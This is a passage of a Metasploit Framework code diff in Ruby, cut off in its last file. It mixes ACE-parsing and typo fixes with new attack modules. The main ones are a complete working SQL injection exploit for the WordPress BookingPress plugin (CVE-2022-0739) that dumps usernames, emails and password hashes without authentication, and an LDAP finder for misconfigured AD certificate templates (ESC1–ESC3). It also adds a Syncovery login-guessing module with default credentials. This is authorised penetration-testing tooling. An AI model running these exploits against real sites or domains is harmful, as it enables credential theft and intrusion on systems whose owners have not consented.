return ace_size - (ace_header_length + ace_body_length)
end
end
end
class MsDtypAce < BinData::Record
@@ -103,8 +199,18 @@ module Rex::Proto::MsDtyp
ms_dtyp_ace_header :header
choice :body, selection: -> { header.ace_type } do
ms_dtyp_access_allowed_ace_body 0
string :default, read_length: -> { header.ace_size - body.rel_offset }
ms_dtyp_access_allowed_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE
ms_dtyp_access_denied_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_ACE_TYPE
ms_dtyp_system_audit_ace_body Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_ACE_TYPE
# Type 3 is reserved for future use
# Type 4 is reserved for future use
ms_dtyp_access_allowed_object_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_OBJECT_ACE_TYPE
ms_dtyp_access_denied_object_ace_body Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_OBJECT_ACE_TYPE
ms_dtyp_system_audit_object_ace_body Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_OBJECT_ACE_TYPE
# Type 8 is reserved for future use
# Type 14 aka 0xE is reserved for future use
# Type 16 aka 0x10 is reserved for future use
string :default, read_length: -> { header.ace_size - body.rel_offset }
end
end
+1 -1
View File
@@ -14,7 +14,7 @@ module Rex
# @return [Integer] the Java RMI version
attr_accessor :version
# @!attribute protocol
# @return [Integer] the protocol where the the messages are wrapped within
# @return [Integer] the protocol where the messages are wrapped within
attr_accessor :protocol
private
+1 -1
View File
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.97'
spec.add_runtime_dependency 'metasploit-payloads', '2.0.101'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20'
# Needed by msfgui and other rpc components
+4 -1
View File
@@ -53,7 +53,10 @@ class MetasploitModule < Msf::Auxiliary
end
def build_ace(sid)
Rex::Proto::MsDtyp::MsDtypAccessAllowedAce.new({
Rex::Proto::MsDtyp::MsDtypAce.new({
header: {
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE
},
body: {
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,
sid: sid
+1 -1
View File
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
sploit << "ST:uuid:schemas:device:MX:3"
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
# characters: there's more chance that the the program will run off the stack.
# characters: there's more chance that the program will run off the stack.
sploit += ' '*(1500-sploit.length)
+1 -1
View File
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module dependent on the given filename extension creates either
a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference
to the the specified remote host, causing SMB connections to be initiated
to the specified remote host, causing SMB connections to be initiated
from any user that views the file.
},
'License' => MSF_LICENSE,
@@ -0,0 +1,384 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Misconfigured Certificate Template Finder',
'Description' => %q{
This module allows users to query a LDAP server for vulnerable certificate
templates and will print these certificates out in a table along with which
attack they are vulnerable to and the SIDs that can be used to enroll in that
certificate template.
Additionally the module will also print out a list of known certificate servers
along with info about which vulnerable certificate templates the certificate server
allows enrollment in and which SIDs are authorized to use that certificate server to
perform this enrollment operation.
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
},
'Author' => [
'Grant Willcox', # Original module author
],
'References' => [
'URL' => 'https://posts.specterops.io/certified-pre-owned-d95910965cd2'
],
'DisclosureDate' => '2021-06-17',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptBool.new('REPORT_NONENROLLABLE', [true, 'Report nonenrollable certificate templates', false])
])
end
# Constants Definition
CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT = '0e10c968-78fb-11d2-90d4-00c04f79dc55'.freeze
CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT = 'a05b8cc2-17bc-4802-a710-e7c15ab866a2'.freeze
CONTROL_ACCESS = 0x00000100
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze
OWNER_SECURITY_INFORMATION = 0x1
GROUP_SECURITY_INFORMATION = 0x2
DACL_SECURITY_INFORMATION = 0x4
SACL_SECURITY_INFORMATION = 0x8
def parse_dacl_or_sacl(acl)
flag_allowed_to_enroll = false
allowed_sids = []
acl.aces.each do |ace|
ace_header = ace[:header]
ace_body = ace[:body]
if ace_body[:access_mask].blank?
fail_with(Failure::UnexpectedReply, 'Encountered a DACL/SACL object without an access mask! Either data is an unrecognized type or we are reading it wrong!')
end
ace_string = Rex::Proto::MsDtyp::MsDtypAceType.name(ace_header[:ace_type])
if ace_string.blank?
print_error("Skipping unexpected ACE of type #{ace_header[:ace_type]}. Either the data was read incorrectly or we currently don't support this type.")
next
end
if ace_header[:ace_flags][:inherit_only_ace] == 1
vprint_warning(' ACE only affects those that inherit from it, not those that it is attached to. Ignoring this ACE, as its not relevant.')
next
end
# To decode the ObjectType we need to do another query to CN=Configuration,DC=daforest,DC=com
# and look at either schemaIDGUID or rightsGUID fields to see if they match this value.
next unless ace_body[:flags] && ace_body[:flags][:ace_object_type_present] == 1
object_type = ace_body[:object_type]
if (ace_body.access_mask.protocol & CONTROL_ACCESS) != 0 && (object_type == CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT || object_type == CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT)
if ace_string.match(/DENIED/)
flag_allowed_to_enroll = false
elsif ace_string.match(/ALLOWED/)
flag_allowed_to_enroll = true
allowed_sids << ace_body[:sid].to_s
end
end
end
[flag_allowed_to_enroll, allowed_sids]
end
def query_ldap_server(raw_filter, attributes, base_prefix: nil)
ldap_connect do |ldap|
validate_bind_success!(ldap)
if !@base_dn.blank?
vprint_status("Using already discovered base DN: #{@base_dn}")
elsif (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
print_warning("Couldn't discover base DN!")
end
end
if @base_dn.blank?
fail_with(Failure::BadConfig, 'No base DN was found or specified, cannot continue!')
end
if base_prefix.blank?
full_base_dn = @base_dn.to_s
else
full_base_dn = "#{base_prefix},#{@base_dn}"
end
begin
filter = Net::LDAP::Filter.construct(raw_filter)
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")
end
# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but
# the SACL flag is set, as we need administrative privileges to retrieve
# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.
#
# Note that without specifying the LDAP_SERVER_SD_FLAGS_OID control in this manner,
# the LDAP searchRequest will default to trying to grab all possible attributes of
# the ntSecurityDescriptor attribute, hence resulting in an attempt to retrieve the
# SACL even if the user is not an administrative user.
#
# Now one may think that we would just get the rest of the data without the SACL field,
# however in reality LDAP will cause that attribute to just be blanked out if a part of it
# cannot be retrieved, so we just will get nothing for the ntSecurityDescriptor attribute
# in these cases if the user doesn't have permissions to read the SACL.
all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber
controls = []
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
query_result = ldap.as_json['result']['ldap_result']
validate_query_result!(query_result, filter)
if returned_entries.blank?
vprint_error("No results found for #{filter}.")
nil
else
returned_entries
end
end
rescue Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
rescue Net::LDAP::Error => e
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
end
def query_ldap_server_certificates(esc_raw_filter, esc_name)
attributes = ['cn', 'description', 'ntSecurityDescriptor']
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
if esc_entries.blank?
print_warning("Couldn't find any vulnerable #{esc_name} templates!")
else
# Grab a list of certificates that contain vulnerable settings.
# Also print out the list of SIDs that can enroll in that server.
esc_entries.each do |entry|
flag_allowed_to_enroll = false # Reset the flag on each entry we parse.
begin
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[:ntsecuritydescriptor][0])
rescue IOError => e
fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}")
end
flag_allowed_to_enroll, allowed_sids = parse_dacl_or_sacl(security_descriptor.dacl) if security_descriptor.dacl
next unless flag_allowed_to_enroll
certificate_symbol = entry[:cn][0].to_sym
if @vuln_certificate_details.key?(certificate_symbol)
@vuln_certificate_details[certificate_symbol][:vulns] << esc_name
else
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {} }
end
end
end
end
def convert_sids_to_human_readable_name(sids_array)
output = []
for sid in sids_array
raw_filter = "(objectSID=#{sid})"
attributes = ['sAMAccountName', 'name']
base_prefix = 'CN=Configuration'
sid_entry = query_ldap_server(raw_filter, attributes, base_prefix: base_prefix) # First try with prefix to find entries that may be group specific.
sid_entry = query_ldap_server(raw_filter, attributes) if sid_entry.blank? # Retry without prefix if blank.
if sid_entry.blank?
print_warning("Could not find any details on the LDAP server for SID #{sid}!")
output << [sid, nil, nil] # Still want to print out the SID even if we couldn't get additional information.
elsif sid_entry[0][:samaccountname][0]
output << [sid, sid_entry[0][:name][0], sid_entry[0][:samaccountname][0]]
else
output << [sid, sid_entry[0][:name][0], nil]
end
end
result = []
output.each do |sid_string, sid_name, sam_account_name|
if sam_account_name
result << "#{sid_string} (#{sam_account_name})"
else
result << "#{sid_string} (#{sid_name})"
end
end
result.join(' | ')
end
def find_esc1_vuln_cert_templates
esc1_raw_filter = '(&'\
'(objectclass=pkicertificatetemplate)'\
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
'(|'\
'(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)'\
'(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)'\
'(pkiextendedkeyusage=1.3.6.1.5.2.3.4)'\
'(pkiextendedkeyusage=2.5.29.37.0)'\
'(!(pkiextendedkeyusage=*))'\
')'\
'(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1)'\
')'
query_ldap_server_certificates(esc1_raw_filter, 'ESC1')
end
def find_esc2_vuln_cert_templates
esc2_raw_filter = '(&'\
'(objectclass=pkicertificatetemplate)'\
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
'(|'\
'(pkiextendedkeyusage=2.5.29.37.0)'\
'(!(pkiextendedkeyusage=*))'\
')'\
')'
query_ldap_server_certificates(esc2_raw_filter, 'ESC2')
end
def find_esc3_vuln_cert_templates
# Find the first vulnerable types of ESC3 templates, those that have the OID of the
# Certificate Request Agent which allows the template to be used for
# requesting other certificate templates on behalf of other principals.
esc3_template_1_raw_filter = '(&'\
'(objectclass=pkicertificatetemplate)'\
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
'(|'\
'(mspki-ra-signature=0)'\
'(!(mspki-ra-signature=*))'\
')'\
'(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.1)'\
')'
query_ldap_server_certificates(esc3_template_1_raw_filter, 'ESC3_TEMPLATE_1')
# Find the second vulnerable types of ESC3 templates, those that
# have the right template schema version and, for those with a template
# version of 2 or greater, have an Application Policy Insurance Requirement
# requiring the Certificate Request Agent EKU.
#
# Additionally the certificate template must also allow for domain authentication
# and the CA must not have any enrollment agent restrictions.
esc3_template_2_raw_filter = '(&'\
'(objectclass=pkicertificatetemplate)'\
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
'(|'\
'(mspki-template-schema-version=1)'\
'(&'\
'(mspki-template-schema-version>=2)'\
'(msPKI-RA-Application-Policies=1.3.6.1.4.1.311.20.2.1)'\
')'\
')'\
'(|'\
'(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)'\
'(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)'\
'(pkiextendedkeyusage=1.3.6.1.5.2.3.4)'\
'(pkiextendedkeyusage=2.5.29.37.0)'\
'(!(pkiextendedkeyusage=*))'\
')'\
')'
query_ldap_server_certificates(esc3_template_2_raw_filter, 'ESC3_TEMPLATE_2')
end
def find_enrollable_vuln_certificate_templates
# For each of the vulnerable certificate templates, determine which servers
# allows users to enroll in that certificate template and which users/groups
# have permissions to enroll in certificates on each server.
@vuln_certificate_details.each_key do |certificate_template|
certificate_enrollment_raw_filter = "(&(objectClass=pKIEnrollmentService)(certificateTemplates=#{certificate_template}))"
attributes = ['cn', 'dnsHostname', 'ntsecuritydescriptor']
base_prefix = 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
enrollment_ca_data = query_ldap_server(certificate_enrollment_raw_filter, attributes, base_prefix: base_prefix)
next if enrollment_ca_data.blank?
enrollment_ca_data.each do |ca_server|
flag_allowed_to_enroll = false
begin
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(ca_server[:ntsecuritydescriptor][0])
rescue IOError => e
fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}")
end
flag_allowed_to_enroll, allowed_sids = parse_dacl_or_sacl(security_descriptor.dacl) if security_descriptor.dacl
next unless flag_allowed_to_enroll
ca_server_key = ca_server[:dnshostname][0].to_sym
unless @vuln_certificate_details[certificate_template][:ca_servers_n_enrollment_sids].key?(ca_server_key)
@vuln_certificate_details[certificate_template][:ca_servers_n_enrollment_sids][ca_server_key] = { cn: ca_server[:cn][0], ca_enrollment_sids: allowed_sids }
end
end
end
end
def print_vulnerable_cert_info
@vuln_certificate_details.each do |key, hash|
enrollable = true
if hash[:ca_servers_n_enrollment_sids].blank?
next unless datastore['REPORT_NONENROLLABLE']
enrollable = false
end
print_status("Template: #{key}")
unless enrollable
print_warning(" #{key} not published as an enrollable certificate!")
end
print_status(" Distinguished Name: #{hash[:dn]}")
print_status(" Vulnerable to: #{hash[:vulns].join(', ')}")
print_status(' Certificate Template Enrollment SIDs:')
for sid in hash[:certificate_enrollment_sids].split(' | ')
print_status(" * #{sid}")
end
next unless enrollable
for ca_hostname, ca_hash in hash[:ca_servers_n_enrollment_sids]
print_status(' Issuing CAs:')
print_status(" * #{ca_hash[:cn]}")
print_status(" Server: #{ca_hostname}")
print_status(' Enrollment SIDs:')
sid_list_string = convert_sids_to_human_readable_name(ca_hash[:ca_enrollment_sids])
for sid_info in sid_list_string.split(' | ')
print_status(" * #{sid_info}")
end
end
end
end
def run
# Define our instance variables real quick.
@base_dn = nil
@vuln_certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
find_esc1_vuln_cert_templates
find_esc2_vuln_cert_templates
find_esc3_vuln_cert_templates
find_enrollable_vuln_certificate_templates
print_vulnerable_cert_info
end
end
+5 -10
View File
@@ -140,15 +140,9 @@ class MetasploitModule < Msf::Auxiliary
base ||= @base_dn
returned_entries = ldap.search(base: base, filter: filter, attributes: attributes)
query_result = ldap.as_json['result']['ldap_result']
case query_result['resultCode']
when 0
vprint_good('Successfully queried LDAP server!')
when 1
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
fail_with(Failure::NoAccess, query_result['errorMessage'])
else
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
end
validate_query_result!(query_result, filter)
if returned_entries.nil? || returned_entries.empty?
print_error("No results found for #{filter}.")
nil
@@ -334,7 +328,7 @@ class MetasploitModule < Msf::Auxiliary
modified = true
elsif attribute_properties[attribute_name][:attributesyntax] == '2.5.5.10' # OctetString
if attribute_name.to_s.match(/guid$/i)
# Get the the entry[attribute_name] object will be an array containing a single string entry,
# Get the entry[attribute_name] object will be an array containing a single string entry,
# so reach in and extract that string, which will contain binary data.
bin_guid = entry[attribute_name][0]
if bin_guid.length == 16 # Length of binary data in bytes since this is what .length uses. In bits its 128 bits.
@@ -433,6 +427,7 @@ class MetasploitModule < Msf::Auxiliary
def run
entries = nil
begin
ldap_connect do |ldap|
validate_bind_success!(ldap)
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
prepend Msf::Exploit::Remote::AutoCheck
NONCE_NOT_FOUND_ERROR_MSG = 'Unable to get wp-nonce as an unauthenticated user'.freeze
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress BookingPress bookingpress_front_get_category_services SQLi',
'Description' => %q{
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
data from the backend database such as usernames and password hashes.
This module uses this vulnerability to dump the list of WordPress users and their associated
email addresses and password hashes for cracking offline.
},
'Author' => [
'cydave', # Of cyllective. Discovery of bug.
'destr4ct', # PoC Code for exploiting the bug.
'jheysel-r7' # Metasploit module
],
'References' => [
[ 'URL', 'https://github.com/destr4ct/CVE-2022-0739'],
[ 'WPVDB', '388cd42d-b61a-42a4-8604-99b812db2357'],
[ 'CVE', '2022-0739']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-02-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The URL of the BookingPress appointment booking page', '/bookingpress/' ])
])
end
def check
@nonce = get_user_nonce
return Exploit::CheckCode::Unknown(NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
@sqli = get_sqli_object
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
Exploit::CheckCode::Safe
end
def generate_vars_post(sqli)
{
'action' => 'bookingpress_front_get_category_services', # Vulnerable AJAX action
'_wpnonce' => @nonce,
'category_id' => 1,
'total_service' => "#{rand(100..10000)}#{sqli}"
}
end
def get_sqli_object
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/wp-admin/admin-ajax.php'),
'vars_post' =>
generate_vars_post(") UNION ALL SELECT (#{payload}),456,789,12,34,56,78,90,77 from wp_users-- -")
})
if res && res.code == 200
json_doc = res.get_json_document
if json_doc.blank? || json_doc[0].blank?
print_error('Could not parse the JSON response returned from the SQLi attempt!')
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
end
json_parsed_doc = json_doc[0]['bookingpress_service_id']
if json_parsed_doc.blank?
print_error('Was able to parse the JSON response but no bookingpress_service_id field was found!')
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
end
json_parsed_doc
elsif res
print_error("Unexpected response code encountered when conducting the SQLi attempt: #{res.code}")
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
else
print_error('No response from SQLi attempt')
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
end
end
end
def get_user_nonce
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'])
})
return NONCE_NOT_FOUND_ERROR_MSG unless res&.body&.match("_wpnonce:'(\\w+)'\\s*};")
::Regexp.last_match(1)
end
def run
@nonce ||= get_user_nonce
fail_with(Failure::UnexpectedReply, NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
@sqli ||= get_sqli_object
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
creds_table = Rex::Text::Table.new(
'Header' => 'Wordpress User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Email', 'Hash']
)
print_status('Extracting credential information')
users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
users.each do |(username, email, hash)|
creds_table << [username, email, hash]
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'WordPress BookingPress Plugin',
address: datastore['RHOSTS'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED,
email: email
})
end
print_line creds_table.to_s
end
end
@@ -54,8 +54,8 @@ class MetasploitModule < Msf::Auxiliary
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
service_name: result.service_name,
protocol: result.protocol,
workspace_id: myworkspace_id
}
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
if result
print_good("#{ip}:#{rport} - Vulnerable to CVE-2013-3619 (Static SSL Certificate)")
# Report with the the SSL Private Key hash for the host
# Report with the SSL Private Key hash for the host
digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":")
report_note(
:host => ip,
-140
View File
@@ -1,140 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::WmapScanSSL
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Rex::Socket::Comm
def initialize
super(
'Name' => 'HTTP SSL Certificate Information',
'Description' => 'Parse the server SSL certificate to obtain the common name and signature algorithm',
'Author' =>
[
'et', #original module
'Chris John Riley', #additions
'Veit Hailperin <hailperv[at]gmail.com>', # checks for public key size, valid time
],
'License' => MSF_LICENSE
)
register_options([
Opt::RPORT(443)
])
end
# Fingerprint a single host
def run_host(ip)
begin
connect(true, {"SSL" => true}) #Force SSL
if sock.respond_to? :peer_cert
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
end
disconnect
if cert
print_status("Subject: #{cert.subject}")
print_status("Issuer: #{cert.issuer}")
print_status("Signature Alg: #{cert.signature_algorithm}")
# If we use ECDSA rather than RSA, our metrics for key size are different
public_key_size = 0
if cert.public_key.respond_to? :n
public_key_size = cert.public_key.n.num_bytes * 8
print_status("Public Key Size: #{public_key_size} bits")
end
print_status("Not Valid Before: #{cert.not_before}")
print_status("Not Valid After: #{cert.not_after}")
# Checks for common properties of self signed certificates
caissuer = (/CA Issuers - URI:(.*?),/i).match(cert.extensions.to_s)
if caissuer.to_s.empty?
print_good("Certificate contains no CA Issuers extension... possible self signed certificate")
else
print_status(caissuer.to_s[0..-2])
end
if cert.issuer.to_s == cert.subject.to_s
print_good("Certificate Subject and Issuer match... possible self signed certificate")
end
alg = cert.signature_algorithm
if alg.downcase.include? "md5"
print_status("WARNING: Signature algorithm using MD5 (#{alg})")
end
vhostn = nil
cert.subject.to_a.each do |n|
vhostn = n[1] if n[0] == 'CN'
end
if public_key_size > 0
if public_key_size == 1024
print_status("WARNING: Public Key only 1024 bits")
elsif public_key_size < 1024
print_status("WARNING: Weak Public Key: #{public_key_size} bits")
end
end
if cert.not_after < Time.now
print_status("WARNING: Certificate not valid anymore")
end
if cert.not_before > Time.now
print_status("WARNING: Certificate not valid yet")
end
if vhostn
print_status("Has common name #{vhostn}")
# Store the virtual hostname for HTTP
report_note(
:host => ip,
:port => rport,
:proto => 'tcp',
:type => 'http.vhost',
:data => {:name => vhostn}
)
# Store the SSL certificate itself
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => 'ssl.certificate',
:data => {
:cn => vhostn,
:subject => cert.subject.to_a,
:algorithm => alg,
:valid_from => cert.not_before,
:valid_after => cert.not_after,
:key_size => public_key_size
}
)
# Update the server hostname if necessary
if vhostn !~ /localhost|snakeoil/i
report_host(
:host => ip,
:name => vhostn
)
end
end
else
print_status("No certificate subject or common name found")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
@@ -1,80 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'HTTP SSL/TLS Version Detection (POODLE scanner)',
'Description' => %q{
Check if an HTTP server supports a given version of SSL/TLS.
If a web server can successfully establish an SSLv3 session, it is
likely to be vulnerable to the POODLE attack described on
October 14, 2014, as a patch against the attack is unlikely.
},
'Author' => 'todb',
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443,
},
'References' =>
[
[ 'URL', 'https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html'],
[ 'OSVDB', '113251'],
[ 'CVE', '2014-3566']
],
'DisclosureDate' => 'Oct 14 2014'
)
register_options(
[
Opt::SSLVersion
]
)
end
# Fingerprint a single host
def run_host(ip)
begin
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
fp = http_fingerprint(:response => res)
if fp
vprint_status("#{peer} connected and fingerprinted: #{fp}")
# TODO: Interrogate the connection itself to see what version
# was used. Where that actually lives is eluding me. :/
if datastore['SSL'] && datastore['SSLVersion'] == 'SSL3'
print_good("#{peer} accepts SSLv3")
report_poodle_vuln(ip)
end
end
rescue ::OpenSSL::SSL::SSLError => e
ssl_version = e.message.match(/ state=([^\s]+)/)[1]
vprint_status("#{peer} does not accept #{ssl_version}")
end
end
def report_poodle_vuln(ip)
report_vuln(
:host => ip,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => "Module #{self.fullname} confirmed SSLv3 is available",
:refs => self.references,
:exploited_at => Time.now.utc
)
end
end
@@ -0,0 +1,149 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/syncovery_file_sync_backup'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Syncovery For Linux Web-GUI Login Utility',
'Description' => 'This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.',
'Author' => [ 'Jan Rude' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'DefaultOptions' => {
'RPORT' => 8999,
'USERNAME' => 'default',
'PASSWORD' => 'pass',
'STOP_ON_SUCCESS' => true # There is only one user
}
)
)
register_options(
[
Opt::RPORT(8999), # Default is HTTP: 8999; HTTPS: 8943
OptString.new('USERNAME', [true, 'The username to Syncovery (default: default)', 'default']),
OptString.new('PASSWORD', [false, 'The password to Syncovery (default: pass)', 'pass']),
OptString.new('TARGETURI', [false, 'The path to Syncovery', '/'])
]
)
deregister_options('PASSWORD_SPRAY')
end
def scanner(ip)
@scanner ||= lambda {
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
return Metasploit::Framework::LoginScanner::SyncoveryFileSyncBackup.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
uri: datastore['TARGETURI'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
)
)
}.call
end
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: result.status,
proof: result.proof
}.merge(service_data)
create_credential_login(login_data)
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
